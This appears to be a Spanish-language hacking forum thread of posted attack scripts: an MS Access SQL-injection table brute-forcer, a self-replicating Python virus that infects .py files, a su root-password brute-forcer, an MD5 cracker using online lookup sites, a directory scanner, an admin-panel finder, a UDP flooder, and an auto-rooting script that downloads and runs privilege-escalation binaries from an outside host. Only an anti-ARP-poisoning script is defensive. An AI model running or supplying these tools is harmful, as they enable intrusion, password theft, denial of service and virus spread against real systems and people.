Un simple rute force de MSaccess usando una lista de palabras predefinidas

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Código: python
import sys
import os
import urllib

from urllib import urlopen

os.system("cls")
print "Access Table Brute v1 Written by nova"
print "-------------------------------------"
print
print "Usage: access-brute.py url"
print "Eg. access-brute.py http://host.com/viewproduct.asp?id=1+union+select+1+From+\n"

url = sys.argv[1]
substring = "The number of columns in the two selected tables or queries of a union query do not match"

print url
print
print "Tables:\n"
print "-------"


f = open("tester.txt",'r')
for line in f:
       
       
       
        feeddata = urllib.urlopen(url+line).read()
             
        s = feeddata
        x = s.count(substring)
        if (x > 0):
            print line

print "-------------"
print "scan complete"


wordlist

Código: php
admin
users
customers
customer
members
clients
tblusers
tbluser
ordermain
orders
sales
stores
titles
msysobjects
MSysAccessObjects
MSysAccessXML
MSysACEs
MSysQueries
MSysRelationships
Northwind
wtblObjectList
#15
Python / Virus en Python
Enero 30, 2011, 10:10:17 AM
Código: python
# biennale.py ________________ go         to _____ 49th Biennale di Venezia
# HTTP://WWW.0100101110101101.ORG __ + __ [epidemiC] http://www.epidemic.ws
from dircache import *
from string import *
import os, sys
from stat import *

def fornicate(guest):
    try:
        soul = open(guest, "r")
        body = soul.read()
        soul.close()
        if find(body, "[epidemiC]") == -1:
            soul = open(guest, "w")
            soul.write(mybody + "\n\n" + body)
            soul.close()
    except IOError: pass       

def chat(party, guest):
    if split(guest, ".")[-1] in ("py", "pyw"):
        fornicate(party + guest)

def join(party):
    try:
        if not S_ISLNK(os.stat(party)[ST_MODE]):
            guestbook = listdir(party)
            if party != "/": party = party + "/"
            if not lower(party) in **** and not "__init__.py" in guestbook:
                for guest in guestbook:
                    chat(party, guest)
                    join(party + guest)
    except OSError: pass
       
if __name__ == '__main__':
        mysoul = open(sys.argv[0])
        mybody = mysoul.read()
        mybody = mybody[:find(mybody, "#"*3) + 3]
        mysoul.close()
        blacklist = replace(split(sys.exec_prefix,":")[-1], "\\", "/")
        if blacklist[-1] != "/": blacklist = blacklist + "/"
        **** = [lower(blacklist), "/proc/", "/dev/"]
        join("/")
        print ">      This file was contaminated by biennale.py, the world slowest virus."
        print "Either Linux or Windows, biennale.py is definetely the first Python virus."
        print "[epidemiC] http://www.epidemic.ws __ + __ HTTP://WWW.0100101110101101.ORG "
        print "> ______________________ 49th Biennale di Venezia ______________________ <"
###
#16
Python / Anti ARP Poisoning
Enero 30, 2011, 10:09:57 AM
Código: python
#!/usr/bin/python

import sys, os, time, this



def AntiArp(Argument):

    print "Working ...nPress CTRL+C to Quit"

    while 1:

        f , a , b = open(Argument,'r') , 0 , 0

        for lines in f:

            a = a+1

        f.seek(0)

        while b < a :

            mot = f.readline().rstrip()

            d = mot.index(" ")

            f , e = mot[:d] , mot[d+1:]

            os.system("arp -d *")

            print "deleting arp table"

            cmd = "arp -s %s " %f  + e

            print cmd

            os.system(cmd)

            b+=1

            time.sleep(10)



try:

    if len(sys.argv) < 2:

       print "nUsage : %s <cache-file>" % sys.argv[0]

       print "<cache-file> where data is : x.x.x.x [MAC Address]"

    else:

        AntiArp(sys.argv[1])

except KeyboardInterrupt:

    print "Stopped"
#17
Python / Local Root Bruteforce por Wordlist
Enero 30, 2011, 10:09:36 AM
Código: python
#!/usr/bin/python
#Local Root BruteForcer

#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import sys
try:
    import pexpect
except(ImportError):
    print "\nYou need the pexpect module."
    print "http://www.noah.org/wiki/Pexpect\n"
    sys.exit(1)

#Change this if needed.
LOGIN_ERROR = 'su: incorrect password'

def brute(word):
    print "Trying:",word
    child = pexpect.spawn ('su')
    child.expect ('Password: ')
    child.sendline (word)
    i = child.expect (['.+\s#\s',LOGIN_ERROR])
    if i  == 0:
        print "\n\t[!] Root Password:",word
        child.sendline ('whoami')
        print child.before
        child.interact()
    #if i == 1:
        #print "Incorrect Password"

if len(sys.argv) != 2:
    print "\nUsage : ./rootbrute.py <wordlist>"
    print "Eg: ./rootbrute.py words.txt\n"
    sys.exit(1)

try:
    words = open(sys.argv[1], "r").readlines()
except(IOError):
      print "\nError: Check your wordlist path\n"
      sys.exit(1)

print "\n[+] Loaded:",len(words),"words"
print "[+] BruteForcing...\n"
for word in words:
    brute(word.replace("\n",""))
#18
Perl / Crackeador MD5 [Recomendado]
Enero 27, 2011, 08:56:16 PM
Código: perl
#!usr/bin/perl

# NOTA:
# NO ME HAGO RESPONSABLE POR EL USO
# QUE LE DEN AL PROGRAMA, EL USUARIO
# ES EL QUE SE HACE RESPONSABLE.
# SaLuDos :) [by W4rL0cK] (Algunos derechos reservados) 2oo8 [C]
#
#      Ultima actualizacion: 17.Marzo.2008

use strict;
use LWP::UserAgent;
use HTTP::Request qw(post);

my $hash = shift || &banner();
my $agent = "Mozilla/4.0 (compatible; Lotus-Notes/5.0; Windows-NT)";

sub banner {
print "\n";
print "MD5 CRACKER\n";
print "\n";
print "perl x.pl <hash>\n";
print "perl x.pl eec4832f1db196790d523a4ab628a899\n";
print "\n";
exit;
}

sub banner2 {
print "\n";
print "MD5 CRACKER\n";
print "\n";
print "[+] Comprobando el hash: $hash\n";
&comprobarhash($hash);
print "[+] Buscando .. \n";
}

sub comprobarhash {
$hash=shift(@_);
if (length($hash)==32) {
print "[+] Hash correcto\n";
} else {
print "[-] Hash invalido\n";
print "[x] Saliendo\n";
exit;
}
}

&banner2();
&cracker0($hash,$agent);
&cracker1($hash,$agent);
&cracker2($hash,$agent);
&cracker3($hash,$agent);
&cracker4($hash,$agent);
&cracker5($hash,$agent);
&cracker6($hash,$agent);
&cracker8($hash,$agent);
&cracker9($hash,$agent);
&cracker10($hash,$agent);
&cracker11($hash,$agent);
&cracker12($hash,$agent);
&cracker13($hash,$agent);
&cracker14($hash,$agent);
&cracker15($hash,$agent);
&cracker7($hash,$agent);
&cracker16($hash,$agent);
&cracker17($hash,$agent);
&cracker18($hash,$agent);

#busca en md5.thekaine.de
sub cracker1 {
$hash=shift(@_);
$agent=shift(@_);
my $url = "http://md5.thekaine.de/?hash=$hash";
my $conexion = LWP::UserAgent->new();
$conexion->agent($agent);
my $resultado = $conexion->get($url);

my $code1 = "<td colspan=\"2\"><br><br><b>";
my $code2 = "</b></td><td></td>";
print "md5.thekaine.de          |   ";
if ($resultado->content =~ m/$code1(.*)$code2/) {
if ($resultado->content =~ /not found/) {
print "Not Found\n";
} else {
print "Cracked: $1\n";
}
} else {
print "Not Found\n";
}
}

#busca en nz.md5.crysm.net
sub cracker2 {
$hash=shift(@_);
$agent=shift(@_);
my $url = "http://nz.md5.crysm.net/find?md5=$hash";
my $conexion = LWP::UserAgent->new();
$conexion->agent($agent);
my $resultado = $conexion->get($url);

my $code1 = "<li>";
my $code2 = "</li>";
print "nz.md5.crysm.net         |   ";
if ($resultado->content =~ m/$code1(.*)$code2/) {
print "Cracked: $1\n";
} else {
print "Not Found\n";
}
}

#busca en www.tydal.nu/php/sakerhet/
sub cracker3 {
$hash=shift(@_);
$agent=shift(@_);
my $url = "http://www.tydal.nu/php/sakerhet/md5.php?q=$hash";
my $conexion = LWP::UserAgent->new();
$conexion->agent($agent);
my $resultado = $conexion->get($url);

my $code1 = "";
my $code2 = "</b></h5>";
print "www.tydal.nu             |   ";
if ($resultado->content =~ m/$code1(.*)$code2/) {
if ($resultado->content =~ /Ingen/) {
print "Not Found\n";
} else {
print "Cracked: $1\n";
}
} else {
print "Not Found\n";
}
}

#busca en www.milw0rm.com/cracker
sub cracker4 {
$hash=shift(@_);
$agent=shift(@_);
my $url = "http://milw0rm.com/cracker/search.php";
my $conexion = LWP::UserAgent->new();
$conexion->agent($agent);
my $resultado = $conexion->get($url);

my $request = $conexion->post($url, ["hash" => $hash, "Submit" => "Submit"]);
my $content = $request->content;

my $code1 = "</TD><TD align=\"middle\" nowrap=\"nowrap\" width=90>";
my $code2 = "</TD><TD align=\"middle\" nowrap=\"nowrap\" width=90>cracked</TD></TR>";
print "www.milw0rm.com          |   ";
if ($request->content =~ m/$code1(.*)$code2/) {
print "Cracked: $1\n";
} else {
print "Not Found\n";
}
}

#busca en gdataonline.com
sub cracker5 {
$hash=shift(@_);
$agent=shift(@_);
my $url = "http://gdataonline.com/qkhash.php?mode=txt&hash=$hash";
my $conexion = LWP::UserAgent->new();
$conexion->agent($agent);
my $resultado = $conexion->get($url);

my $code1 = "</td><td width=\"35%\"><b>";
my $code2 = "</b></td></tr>";
print "gdataonline.com          |   ";
if ($resultado->content =~ m/$code1(.*)$code2/) {
print "Cracked: $1\n";
} else {
print "Not Found\n";
}
}

#busca en www.csthis.com
sub cracker6 {
$hash=shift(@_);
$agent=shift(@_);
my $url = "http://www.csthis.com/md5/index.php";
my $conexion = LWP::UserAgent->new();
$conexion->agent($agent);
my $resultado = $conexion->get($url);

my $request = $conexion->post($url, ["h" => $hash]);
my $content = $request->content;

my $code1 = "resolves to:<br /><b><font color=#00CC66 size=6>";
my $code2 = "</b></font></font>  </p>";
print "www.csthis.com           |   ";
if ($request->content =~ m/$code1(.*)$code2/) {
print "Cracked: $1\n";
} else {
print "Not Found\n";
}
}

#busca en md5decrypter.com
sub cracker0 {
$hash=shift(@_);
$agent=shift(@_);
my $url = "http://md5decrypter.com/index.php";
my $conexion = LWP::UserAgent->new();
$conexion->agent($agent);
my $resultado = $conexion->get($url);

my $request = $conexion->post($url, ["hash" => $hash, "submit" => "Decrypt!"]);
my $content = $request->content;

my $code1 = "<br/><b class='red'>Normal Text: </b>";
my $code2 = "";
print "md5decrypter.com         |   ";
if ($request->content =~ m/$code1(.*)$code2/) {
print "Cracked: $1\n";
} else {
print "Not Found\n";
}
}

#busca en plain-text.info
sub cracker7 {
$hash=shift(@_);
$agent=shift(@_);
my $url = "http://plain-text.info/search/";
my $conexion = LWP::UserAgent->new();
$conexion->agent($agent);
$conexion->default_header('Host' => "plain-text.info", 'Connection' => "close", 'Accept-Encoding' => "base64", 'Accept' => "text/plain", 'Accept-Language' => "es", 'Referer' => "http://plain-text.info/search/", 'Content-type' => "application/x-www-form-urlencoded");
my $resultado = $conexion->get($url);

my $request = $conexion->post($url, ["searchhash" => $hash]);
my $content = $request->content;

my $code1 = "<td>$hash</td>";
my $code2 = "<td>cracked</td>";
print "plain-text.info          |   ";
if ($request->content =~ m/$code1(.*)$code2/s) {
my $cx1 = "<td>";
my $cx2 = "</td>";
if($1 =~ m/$cx1(.*)$cx1/s) {
my $longstrx = index($1,$cx2);
my $hashstrx = substr($1,0,$longstrx);
print "Cracked: $hashstrx\n";
}
} else {
print "Not Found\n";
}
}

#busca en md5pass.info
sub cracker8 {
$hash=shift(@_);
$agent=shift(@_);
my $url = "http://md5pass.info/index.php";
my $conexion = LWP::UserAgent->new();
$conexion->agent($agent);
my $resultado = $conexion->get($url);

my $request = $conexion->post($url, ["hash" => $hash, "get_pass" => "Get Pass"]);
my $content = $request->content;

my $code1 = "Password - <b>";
my $code2 = "</b>";
print "md5pass.info             |   ";
if ($request->content =~ m/$code1(.*)$code2/) {
print "Cracked: $1\n";
} else {
print "Not Found\n";
}
}

#busca en md5.hashcracking.com
sub cracker9 {
$hash=shift(@_);
$agent=shift(@_);
my $url = "http://md5.hashcracking.com/search.php?md5=$hash";
my $conexion = LWP::UserAgent->new();
$conexion->agent($agent);
my $resultado = $conexion->get($url);

my $code1 = "Cleartext of $hash is ";
my $code2 = "";
print "md5.hashcracking.com     |   ";
if ($resultado->content =~ m/$code1(.*)$code2/) {
print "Cracked: $1\n";
} else {
print "Not Found\n";
}
}

#busca en md5decryption.com
sub cracker10 {
$hash=shift(@_);
$agent=shift(@_);
my $url = "http://md5decryption.com";
my $conexion = LWP::UserAgent->new();
$conexion->agent($agent);
my $resultado = $conexion->get($url);

my $request = $conexion->post($url, ["hash" => $hash, "submit" => "Decrypt It!"]);
my $content = $request->content;

my $code1 = "<h2>Results</h2><b>Md5 Hash:</b> $hash<br/><b class='red'>Normal Text: </b>";
my $code2 = "<br/>";
print "www.md5decryption.com    |   ";
if ($request->content =~ m/$code1(.*)$code2/) {
print "Cracked: $1\n";
} else {
print "Not Found\n";
}
}

#busca en md5.xpzone.de
sub cracker11 {
$hash=shift(@_);
$agent=shift(@_);
my $url = "http://md5.xpzone.de/?string=$hash&mode=decrypt";
my $conexion = LWP::UserAgent->new();
$conexion->agent($agent);
my $resultado = $conexion->get($url);

my $code1 = "Code: <b>";
my $code2 = "</b><br>";
print "md5.xpzone.de            |   ";
if ($resultado->content =~ m/$code1(.*)$code2/) {
print "Cracked: $1\n";
} else {
print "Not Found\n";
}
}

#busca en us.md5.crysm.net
sub cracker12 {
$hash=shift(@_);
$agent=shift(@_);
my $url = "http://us.md5.crysm.net/find?md5=$hash";
my $conexion = LWP::UserAgent->new();
$conexion->agent($agent);
my $resultado = $conexion->get($url);

my $code1 = "<li>";
my $code2 = "</li>";
print "us.md5.crysm.net         |   ";
if ($resultado->content =~ m/$code1(.*)$code2/) {
print "Cracked: $1\n";
} else {
print "Not Found\n";
}
}

#busca en www.hashreverse.com
sub cracker13 {
$hash=shift(@_);
$agent=shift(@_);
my $url = "http://www.hashreverse.com/index.php?action=view";
my $conexion = LWP::UserAgent->new();
$conexion->agent($agent);
my $resultado = $conexion->get($url);

my $request = $conexion->post($url, ["hash" => $hash, "convert" => "false", "Submit2" => "Search for a SHA1 or MD5 hash"]);
my $content = $request->content;

my $code1 = "Following results were found:<br><ul><li>";
my $code2 = "</li></ul>";
print "www.hashreverse.com      |   ";
if ($request->content =~ m/$code1(.*)$code2/) {
print "Cracked: $1\n";
} else {
print "Not Found\n";
}
}

#busca en www.neeao.com
sub cracker14 {
$hash=shift(@_);
$agent=shift(@_);
my $url = "http://www.neeao.com/md5/index.asp";
my $conexion = LWP::UserAgent->new();
$conexion->agent($agent);
my $resultado = $conexion->get($url);

my $request = $conexion->post($url, ["q" => $hash, "b" => "MD5-Search"]);
my $content = $request->content;

my $code1 = "</div>Result:";
my $code2 = "    Good Luck!<br />";
print "www.neeao.com            |   ";
if ($request->content =~ m/$code1(.*)$code2/) {
print "Cracked: $1\n";
} else {
print "Not Found\n";
}
}

#busca en www.hashchecker.com
sub cracker15 {
$hash=shift(@_);
$agent=shift(@_);
my $url = "http://www.hashchecker.com/index.php";
my $conexion = LWP::UserAgent->new();
$conexion->agent($agent);
my $resultado = $conexion->get($url);

my $request = $conexion->post($url, ["search_field" => $hash, "Submit" => "search"]);
my $content = $request->content;

my $code1 = "<td><li>Your md5 hash is :<br><li>$hash is <b>";
my $code2 = "</b> used charlist :2</td>";
print "www.hashchecker.com      |   ";
if ($request->content =~ m/$code1(.*)$code2/) {
print "Cracked: $1\n";
} else {
print "Not Found\n";
}
}

#busca en victorov.su/md5/
sub cracker16 {
$hash=shift(@_);
$agent=shift(@_);
my $url = "http://victorov.su/md5/?md5e=&md5d=$hash";
my $conexion = LWP::UserAgent->new();
$conexion->agent($agent);
my $resultado = $conexion->get($url);

my $code1 = "MD5 i°i ñi¸i¨i´i°i®i¢i i­: <b>";
my $code2 = "</b><br><form action=\"\">";
print "victorov.su              |   ";
if ($resultado->content =~ m/$code1(.*)$code2/) {
print "Cracked: $1\n";
} else {
print "Not Found\n";
}
}

#busca en securitystats.com/tools
sub cracker17 {
$hash=shift(@_);
$agent=shift(@_);
my $url = "http://securitystats.com/tools/hashcrack.php";
my $conexion = LWP::UserAgent->new();
$conexion->agent($agent);
my $resultado = $conexion->get($url);

my $request = $conexion->post($url, ["inputhash" => $hash, "type" => "MD5", "Submit" => "Submit"]);
my $content = $request->content;

my $code1 = "<font color=\"#FF0000\"><B><BR><BR>MD5 Hash Found!!</font></b><BR>".uc($hash)." = ";
my $code2 = "</td>";
print "securitystats.com        |   ";
if ($request->content =~ m/$code1(.*)$code2/) {
print "Cracked: $1\n";
} else {
print "Not Found\n";
}
}

#busca en md5crack.it-helpnet.de
sub cracker18 {
$hash=shift(@_);
$agent=shift(@_);
my $url = "http://md5crack.it-helpnet.de/index.php?op=search";
my $conexion = LWP::UserAgent->new();
$conexion->agent($agent);
my $resultado = $conexion->get($url);

my $request = $conexion->post($url, ["md5" => $hash, "submit" => "Search now"]);
my $content = $request->content;

my $code1 = "</td><td>$hash</td><td>";
my $code2 = "</td>";
print "md5crack.it-helpnet.de   |   ";
if ($request->content =~ m/$code1(.*)$code2/) {
if (length($1)==23) {
print "Not Found\n";
} else {
print "Cracked: $1\n";
}
} else {
print "Not Found\n";
}
}
#19
Perl / Scaner de Directorios
Enero 27, 2011, 08:55:45 PM
Código: perl
#!/usr/bin/perl

#

#bY boER

use LWP::UserAgent;

my $ua = LWP::UserAgent->new();

$ua->timeout(10);

$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801");

unless($ARGV[0]){

OUT("#############################################\n");

OUT("\n Usage: perl $0 website\n");

OUT("\n#############################################\n");

exit(0);

}

if($^O =~ /Win/){

system("cls");

}else{

system("clear");

}

OUT("#############################################\n");

OUT("        Scanner Directory!\n");

OUT("#############################################\n");

OUT(" 200 - OK\n");

OUT(" 401 - Authorization Required\n");

OUT(" 403 - Forbidden\n");

OUT(" 500 - Bad Hostname | Internal Server Error\n");

OUT("#############################################\n");

$webcl = clear($ARGV[0]);

OUT("\n# Scanning: $webcl\n\n");

brute($webcl);

OUT("\n# Scanning Finished\n");

sub brute{

$web = shift;

@paths = ("access","active","adm","admin","_admin","administrator",

"administracion","_administracion","~administracion","administer",

"upload","uploads","~adm","~admin","~administrator","~guest","~mail",

"~operator","~root","~sys","~sysadm","~sysadmin","~test","~user","~www",

"~webmaster","admin_upload","admin_uploadpic","editpassword",

"manager_userinfo","manager_tongji","managerenter","incupfile","inc",

"upfile","admin_index","admin_admin","index_admin","index","admindefault",

"default","manage","login","manage_index","index_manage","admin1",

"admin_login","login_admin","ad_login","ad_manage","count","manager",

"adminlogin","adminuserlogin","adm_login","chklogin","adduser","adminuser",

"admin_user","edituser","adminadduser","adminmember","addmember","adminedit",

"admin_edit","up","upfiles","aadmin","admintab","admin_main","fileadmin",

"databases","includeinc","***","app","apacheasp","apps","archive","archives",

"asp","back","backup","back-up","bak","bakup","bak-up","basic","bea","bin",

"binaries","broken","c","cc","connections","ccs","cache","cgi","fcgi",

"cgibin","cgi-win","class","classes","classified","classifieds","code",

"common","credit","creditcards","cv","cvs","customer","customers",

"CYBERDOCS","CYBERDOCS25","CYBERDOCS31","d","dfiles","data","database",

"db","dbase","dbm","dbms","demo","dev","devel","develop","development",

"doc","docs","docs41","docs51","dms","e","email","downloads","ecommerce",

"ebriefs","error","errors","esales","echannel","esupport","etc","exec",

"executable","executables","extra","extranet","examples","exchange",

"fcgi-bin","functions","feedback","file","files","forum","forums","ftp",

"graphics","galeria","gallery","galerias","guestbook","guests","help",

"hidden","hide","home","homes","htm","html","imagen","images","icons",

"incs","include","includes","interactive","internet","intranet","java",

"javascript","js","jsp","keep","kept","ldap","lib","libs","libraries",

"links","log","logfiles","logs","lightbox2","mail","me","members","mine",

"mirror","mirrors","mp3","mp3s","ms","mssql","ms-sql","music","my","new",

"old","online","order","orders","pages","_pages","pass","passes","passwd",

"password","polls","passwords","perl","personal","personals","php","_php",

"phpincludes","pics","pl","pls","plx","press","priv","private","products",

"production","pub","public","removed","reports","root","sales","save",

"saved","scripts","secret","secrets","security","servlet","servlets",

"soap","soapdocs","source","site","sites","SiteServer","sql","src",

"staff","stats","statistics","ssi","stuff","support","temp","temps","test",

"text","texts","tmp","user","users","var","vb","vbs","vbscript","vbscripts",

"weblogic","www","xcache","xsql","zip","zips","W3SVC","W3SVC3","index.php",

"index.html","phpmyadmin","phpMyAdmin",".bash_history","upload.php",

"upload.asp","uploader.php","uploader.asp","phpinfo.php","_banners",

"_adv","468","88","ads","adv","ban","baners","bann","banner","banners",

"bannerz","be","begun","bn","bnr","cnstats","cnt","phpadsnew","server-status",

"server-info",".server-status",".server-info",".passwd","INSTALL","_vti_log",

"admcgi","_notes","_tmp","_temp","panel","_panel","~panel","upFiles","img",

"es","css","socios","Documentation","INSTALLsetup.php","Upfile","cgi-bin",

"content","secure","mysql","4Dbin","trustscn_pdos","trustscn_pdos1","_vti_bin",

"Connections","_mmServerScripts","bot","imag","lobatos","phpmyadm","Phpmyadmin",

"PhpMyAdmin","PhpGAdmin","PhpInclude","PhpIncludes","phpscripts","PhpScripts",

"_vti_txt","cgi-local","cgis","WS_FTP.LOG","User.php","Upload.php","AlbumDB.php",

"add_comment.php","add_photo.php","admin.php","adm.php","adm.asp","admin.asp","main",

"web","global","globals","uploader","logon","sign","signin","example","update",

"readme","client","clients","cmd","logfile","details","shtml","asa","jsa",

"txt","cfm","sav","nsf","bat","com","exe","dll","reg","tar","tar.gz","tgz",

"o","sh","member","auth","login.php","user.php","admin.php~","members.php",

"members.php~","configuration.php~","config.php~","Setting.php~","Settings.php~",

"Settings_bak.php~","Setting_bak.php~","config-bak.php~","member.php","users.php",

"webadmin.php","webadmin","miembro","miembros","administrador","administration",

"config.php.inc","config.php.inc~","configuration.php.inc","configuration.php.inc~",

"DBConnection.inc","includesDBConnection.inc","includesDBConnection.php.inc");

foreach $path(@paths){

chomp($path);

$code = $ua->get($web . $path)->status_line;

check_code($code,$path);

}

}

sub check_code{

$ncode = shift;

$path = shift;

$wp = $webcl . $path;

if($ncode =~ /200/){

OUT("$wp\t=>\t200 OK\n");

}

if($ncode =~ /401/){

OUT("$wp\t=>\t401 Authorization Required\n");

}

if($ncode =~ /403/){

OUT("$wp\t=>\t403 Forbidden\n");

}

if($ncode =~ /500/){

OUT("$wp\t=>\t500 Internal Server Error\n");

}

}

sub clear{

$website = shift;

if($website !~ /^http/){

$website = 'http://' . $website;

}

if($website !~ /\/$/){

$website.='/';

}

return $website;

}

sub OUT{

$msg = shift;

syswrite STDOUT, "$msg";

}
#20
Perl / Admin Control Panel Finder
Enero 27, 2011, 08:55:20 PM
Código: perl
#!/usr/bin/perl

##
#KuNdUz
##

#     !!!! * Insert string search = Login or login, Password or password, Username or username, Admin or admin, Sing or sing * !!!!

use IO::Socket;
use HTTP::Request;
use LWP::UserAgent;

system('cls');
system('title Admin Control Panel Finder');

print"\n";
print "\t>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n";
print "\t<                                    <\n";
print "\t>     Admin Control Panel Finder     >\n";
print "\t<                                    <\n";
print "\t> 08/10/08           Coded_By_KuNdUz >\n";
print "\t<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\n";
print "\n";

print "~ Enter Site\n\n-> ";
$site=<STDIN>;
chomp $site;

if ( $site !~ /^http:/ ) {
$site = 'http://' . $site;
}
if ( $site !~ /\/$/ ) {
$site = $site . '/';
}
print "\n";
print "~ Insert string search\n(ex: Username or Password or Senha or Admin vs..)\n\n-> ";
$string=<STDIN>;
chomp $string;
print "\n";

print "~ Scaning...\n\n";

$a1="admin1.php";
$a2="admin1.html";
$a3="admin2.php";
$a4="admin2.html";
$a5="yonetim.php";
$a6="yonetim.html";
$a7="yonetici.php";
$a8="yonetici.html";
$a9="admin/";
$a10="admin/account.php";
$a11="admin/account.html";
$a12="admin/index.php";
$a13="admin/index.html";
$a14="admin/login.php";
$a15="admin/login.html";
$a16="admin/home.php";
$a17="admin/controlpanel.html";
$a18="admin/controlpanel.php";
$a19="admin.php";
$a20="admin.html";
$a21="admin/cp.php";
$a22="admin/cp.html";
$a23="cp.php";
$a24="cp.html";
$a25="administrator/";
$a26="administrator/index.html";
$a27="administrator/index.php";
$a28="administrator/login.html";
$a29="administrator/login.php";
$a30="administrator/account.html";
$a31="administrator/account.php";
$a32="administrator.php";
$a33="administrator.html";
$a34="login.php";
$a35="login.html";
$a36="modelsearch/login.php";
$a37="moderator.php";
$a38="moderator.html";
$a39="moderator/login.php";
$a40="moderator/login.html";
$a41="moderator/admin.php";
$a42="moderator/admin.html";
$a43="moderator/";
$a44="account.php";
$a45="account.html";
$a46="controlpanel.php";
$a47="controlpanel.html";
$a48="admincontrol.php";
$a49="admincontrol.html";
$a50="admin/account.php";
$a51="admin/account.html";
$a52="adminpanel.php";
$a53="adminpanel.html";
$a54="admin1.asp";
$a55="admin2.asp";
$a56="yonetim.asp";
$a57="yonetici.asp";
$a58="admin/account.asp";
$a59="admin/index.asp";
$a60="admin/login.asp";
$a61="admin/home.asp";
$a62="admin/controlpanel.asp";
$a63="admin.asp";
$a64="admin/cp.asp";
$a65="cp.asp";
$a66="administrator/index.asp";
$a67="administrator/login.asp";
$a68="administrator/account.asp";
$a69="administrator.asp";
$a70="login.asp";
$a71="modelsearch/login.asp";
$a72="moderator.asp";
$a73="moderator/login.asp";
$a74="moderator/admin.asp";
$a75="account.asp";
$a76="controlpanel.asp";
$a77="admincontrol.asp";
$a78="admin/account.asp";
$a79="adminpanel.asp";

for ($i=1;$i<80;$i++){

$add=a.$i;
chomp $add;

$final=$site.$$add;

my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);

if($response->content =~ /$string/){
print " \n [+] Yepp -> $final\n\n";
}else{
print "[-] Not Found <- $final\n";
}
}
##
# KuNdUz
##
#21
Perl / UDP Flooder
Enero 27, 2011, 08:54:52 PM
Código: perl
#!/usr/bin/perl
#####################################################
# udp flood.
######################################################

use Socket;
use strict;
use Getopt::Long;
use Time::HiRes qw( usleep gettimeofday ) ;

our $port = 0;
our $size = 0;
our $time = 0;
our $bw   = 0;
our $help = 0;
our $delay= 0;

GetOptions(
"port=i" => \$port, # UDP port to use, numeric, 0=random
"size=i" => \$size, # packet size, number, 0=random
"bandwidth=i" => \$bw, # bandwidth to consume
"time=i" => \$time, # time to run
"delay=f"=> \$delay, # inter-packet delay
"help|?" => \$help); # help


my ($ip) = @ARGV;

if ($help || !$ip) {
  print <<'EOL';
flood.pl --port=dst-port --size=pkt-size --time=secs
         --bandwidth=kbps --delay=msec ip-address

Defaults:
  * random destination UDP ports are used unless --port is specified
  * random-sized packets are sent unless --size or --bandwidth is specified
  * flood is continuous unless --time is specified
  * flood is sent at line speed unless --bandwidth or --delay is specified

Usage guidelines:
  --size parameter is ignored if both the --bandwidth and the --delay
    parameters are specified.

  Packet size is set to 256 bytes if the --bandwidth parameter is used
    without the --size parameter

  The specified packet size is the size of the IP datagram (including IP and
  UDP headers). Interface packet sizes might vary due to layer-2 encapsulation.

Warnings and Disclaimers:
  Flooding third-party hosts or networks is commonly considered a criminal activity.
  Flooding your own hosts or networks is usually a bad idea
  Higher-performace flooding solutions should be used for stress/performance tests
  Use primarily in lab environments for QoS tests
EOL
  exit(1);
}

if ($bw && $delay) {
  print "WARNING: computed packet size overwrites the --size parameter ignored\n";
  $size = int($bw * $delay / 8);
} elsif ($bw) {
  $delay = (8 * $size) / $bw;
}

$size = 256 if $bw && !$size;

($bw = int($size / $delay * 8)) if ($delay && $size);

my ($iaddr,$endtime,$psize,$pport);
$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 1000000);
socket(flood, PF_INET, SOCK_DGRAM, 17);

print "Flooding $ip " . ($port ? $port : "random") . " port with " .
  ($size ? "$size-byte" : "random size") . " packets" . ($time ? " for $time seconds" : "") . "\n";
print "Interpacket delay $delay msec\n" if $delay;
print "total IP bandwidth $bw kbps\n" if $bw;
print "Break with Ctrl-C\n" unless $time;

die "Invalid packet size requested: $size\n" if $size && ($size < 64 || $size > 1500);
$size -= 28 if $size;
for (;time() <= $endtime;) {
  $psize = $size ? $size : int(rand(1024-64)+64) ;
  $pport = $port ? $port : int(rand(65500))+1;

  send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
  usleep(1000 * $delay) if $delay;
}
#22
Perl / Auto-Rooteador
Enero 27, 2011, 08:54:01 PM
Código: perl
#!/usr/bin/perl 
# Exploit tools v1.0 coded by MeTRp0L - [email protected]
# Only for linux
# ur shell must have good perl and gcc..
# by MeTRp0L
{
system("wget http://metrpol.webs.com/05");
system("chmod 777 05");
system("./05");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/2.6.9-55-2007-prv8");
system("chmod 777 2.6.9-55-2007-prv8");
system("./2.6.9-55-2007-prv8");
system("./2.6.9-55-2007-prv8");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/55");
system("chmod 777 55");
system("./55");
system("./55");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/12");
system("chmod 777 12");
system("./12");
system("./12");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/18");
system("chmod 777 18");
system("./18");
system("./18");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/krad2");
system("chmod 777 krad2");
system("./krad2");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/06");
system("chmod 777 06");
system("./06");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/7");
system("chmod 777 7");
system("./7");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/7-2");
system("chmod 777 7-2");
system("./7-2");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/8");
system("chmod 777 8");
system("./8");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/8a");
system("chmod 777 8a");
system("./8a");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/8bb");
system("chmod 777 8bb");
system("./8bb");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
